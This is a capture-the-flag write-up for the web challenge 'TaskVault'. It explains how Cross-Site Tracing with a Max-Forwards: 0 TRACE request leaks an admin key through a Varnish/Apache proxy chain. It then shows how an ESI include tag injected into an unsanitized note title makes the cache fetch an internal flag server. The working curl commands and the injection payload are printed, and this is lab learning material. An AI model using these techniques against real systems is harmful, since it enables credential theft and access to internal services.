Writeup by dav3nn for TaskVault

web

April 27, 2025

Description

Lors d’un audit de sécurité chez TaskVault Industries, vous avez découvert une application interne de gestion des tâches appelée “TaskVault”. Cette application semble contenir des informations sensibles sur les projets de l’entreprise, y compris potentiellement des identifiants d’accès et des secrets. Notre équipe a réussi à identifier le serveur hébergeant l’application, mais celui-ci est protégé par plusieurs couches de proxy et un système d’authentification. Votre mission est d’exploiter les faiblesses de cette architecture afin de contourner les protections et d’accéder aux données confidentielles stockées dans TaskVault.

In this challenge we’re given the TaskVault website and source code.

Taskvaultoverview

Executive Summary

This challenge exploits a multi-layered web architecture to gain unauthorized access to sensitive data. The attack combines Cross-Site Tracing (XST) to leak authentication credentials with Edge-Side Includes (ESI) injection to perform Server-Side Request Forgery (SSRF). By manipulating HTTP headers to prevent request forwarding and injecting ESI tags into unsanitized input fields, the attack successfully bypasses multiple security controls and retrieves the flag from an internal endpoint. This demonstrates the importance of proper input sanitization and secure configuration across the entire application stack.

Table of Contents

Methodology

1 - Review the code

Codetree

We begin by searching where the flag is stored, using for exemple :

grep -r -i flag

We can see in the flag-server.js file that the flag is returned when we reach the endpoint

const express = require("express");

const appFlag = express();
const portFlag = 1337;

appFlag.use((req, res) => {
	res.send(process.env.FLAG);
});

module.exports = {
	appFlag,
	portFlag
};

From this, we can determine that we need to perform a request to the flag-server endpoint

2 - Enumerate potential vulnerabilities

Next we examine the Dockerfiles in order to see the versions of installed packages

Apache2 Dockerfile :

FROM alpine:3.21
WORKDIR /
RUN apk add --update --no-cache                                                                        \
        apache2~=2                                                                                     \
        apache2-proxy~=2                                                                            && \
    echo "Listen 8000" >> /etc/apache2/httpd.conf 													&& \
	sed -i 's/#LoadModule proxy_module/LoadModule proxy_module/' /etc/apache2/httpd.conf 			&& \
    sed -i 's/#LoadModule proxy_http_module/LoadModule proxy_http_module/' /etc/apache2/httpd.conf  && \
    sed -i 's/ErrorLog logs\/error.log/ErrorLog \/dev\/null/g' /etc/apache2/httpd.conf              && \
    sed -i 's/    CustomLog logs/    #CustomLog logs/g' /etc/apache2/httpd.conf

COPY ./apache.conf /etc/apache2/conf.d/default.conf
CMD ["httpd", "-DFOREGROUND"]

Varnish Dockerfile :

FROM alpine:3.21
WORKDIR /
COPY ./entrypoint.sh /entrypoint.sh
RUN apk add --update --no-cache         \
		varnish~=7.6.1-r0            && \
	chmod +x /entrypoint.sh
CMD ["/bin/sh", "/entrypoint.sh"]

Taskvault Dockerfile :

FROM alpine:3.21
WORKDIR /usr/app
COPY ./src/package.json .
RUN apk add --update --no-cache          \
        nodejs~=22                       \
        npm~=10                       && \
    npm install
COPY ./src/ .
CMD ["node", "server.js"]

After examinating all this, we see that there are no evident CVE’s except CVE-2025-30346 Varnish 7.6.1 Privilege escalation but the staff said it wasn’t useful for this challenge, so we can start exploring the code.

We understand that the webapp forbids us to access any page except the home page and the favicon file, this is because we need an x-admin-key header to be authorized to see the pages as we can see in the server.js file :

//...

app.use((req, res, next) => {
	const adminKey = req.headers["x-admin-key"];

	if (!adminKey || adminKey !== process.env.ADMIN_KEY) {
		return res.status(403).json({ error: "Unauthorized access" });
	}
	next();
});

// ...

We notice that the Varnish server adds the x-admin-key when we try to request the home page or the favicon but in addition we see a lot of interesting things like the Edge-Side Includes that are enabled with set beresp.do_esi = true and the flag backend that seems to be used to serve flag-server.js.

backend default {
    .host = "taskvault-apache2";
    .port = "8000";
}

backend flag_backend {
    .host = "taskvault-app";
    .port = "1337";
}

sub vcl_backend_fetch {
    if (bereq.http.host == "give_me_the_flag") {
        set bereq.backend = flag_backend;
    } else {
        set bereq.backend = default;
    }
}

sub vcl_recv {
    if (req.url == "/" || req.url == "/favicon.jpeg") {
        set req.http.X-Admin-Key = "${ADMIN_KEY}";
    }
    return(pass);
}

sub vcl_backend_response {
    set beresp.do_esi = true;
}

If we now look into the apache2 config we can see that :

ServerAdmin contact@fcsc.fr
ServerName fcsc.fr

<VirtualHost *:8000>
    TraceEnable on
    ProxyPass / http://taskvault-app:3000/
    ProxyPassReverse / http://taskvault-app:3000/
</VirtualHost>

The TRACE HTTP Method is enabled (allowing to perform a message loop-back test along the path to the target resource). We also see that the requests are forwarded to the port 3000 of the taskvault-app service.

3 - Elaborate strategies

After reviewing everything we have, we can think about attack methods.

Strategy

At this stage i already had the idea to use Edge-Side includes to exploit a vulnerability but we’ll see that later.

When I saw that the TRACE Method were enabled something directly came to my mind : To try to make the server echoes back the x-admin-key that was set by varnish when accessing the home page or the favicon.

This attack is named Cross-Site Tracing (XST).

To accomplish this attack i used curl specifying the HTTP Method to be TRACE :

curl -X TRACE https://taskvault.fcsc.fr

But it returned :

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot TRACE /</pre>
</body>
</html>

showing us that we can’t TRACE the server.

I found it strange because this was allowed in apache2 but i remembered that the request was forwarded to express and that express didn’t have a route that accept TRACE for / or /favicon.png .

Now our problem is that we don’t want apache to forward the request to express. After a little research i found that a header named Max-Forwards could limit the number of nodes that the request goes through.

Solution

Getting the admin key

We perform a TRACE request with the Max-Forwards header set to 0 to avoid the forwarding to the express app by apache :

MFBehavior

curl -X TRACE -H "Max-Forwards: 0" https://taskvault.fcsc.fr/

And BINGO !

TRACE / HTTP/1.1
host: taskvault.fcsc.fr
user-agent: curl/8.11.1
accept: */*
max-forwards: 0
X-Forwarded-For: ###
Via: 1.1 taskvault-varnish (Varnish/7.6)
X-Admin-Key: 6d02ed57299292a47615254957d073cc75cc7855248684960946838c1f786081
X-Varnish: 3160051

We get the X-Admin-Key header returned.

We can now set it in the headers and register in the app

Taskregister

We arrive on a backlog page :

Backlogpanel

Edge-Side Includes SSRF to get the Flag

Here is an interesting line in the backlog.js

<h3 id="<%- note.title %>" class="text-xl font-bold text-gray-800 mb-2 mt-1">
  <%= note.title %> <!-- note.title is sanitized here but not in the id attribute --></h3>

By looking more carefully at the code we observe that when creating a note, the note.title is sanitized only in specific places.

So by manipulating the note.title we can escape the h3 tag.

Now we need to remember something we saw when we inspected the Varnish configuration : The Edge-Side Includes are enabled ! For the next step we need to understand what are Edge-Side Includes.

Edge Side Includes are a way to build a web page by stitching together parts of it at the edge (meaning, at the CDN or cache server) instead of at the origin server.

ESI

Using esi tags we can make the cache server request the resource we’re interested in.

to escape the h3 tag and create a new esi tag we can use this payload :

"><esi:include src="http://give_me_the_flag/" />

We input the payload in the note title and boom !

We get the flag from the source code in the id attribute.

Flag

FCSC{1d371153caa2fde47d9970a5d214edf82be573e6bcb976a27c02606d77195efe}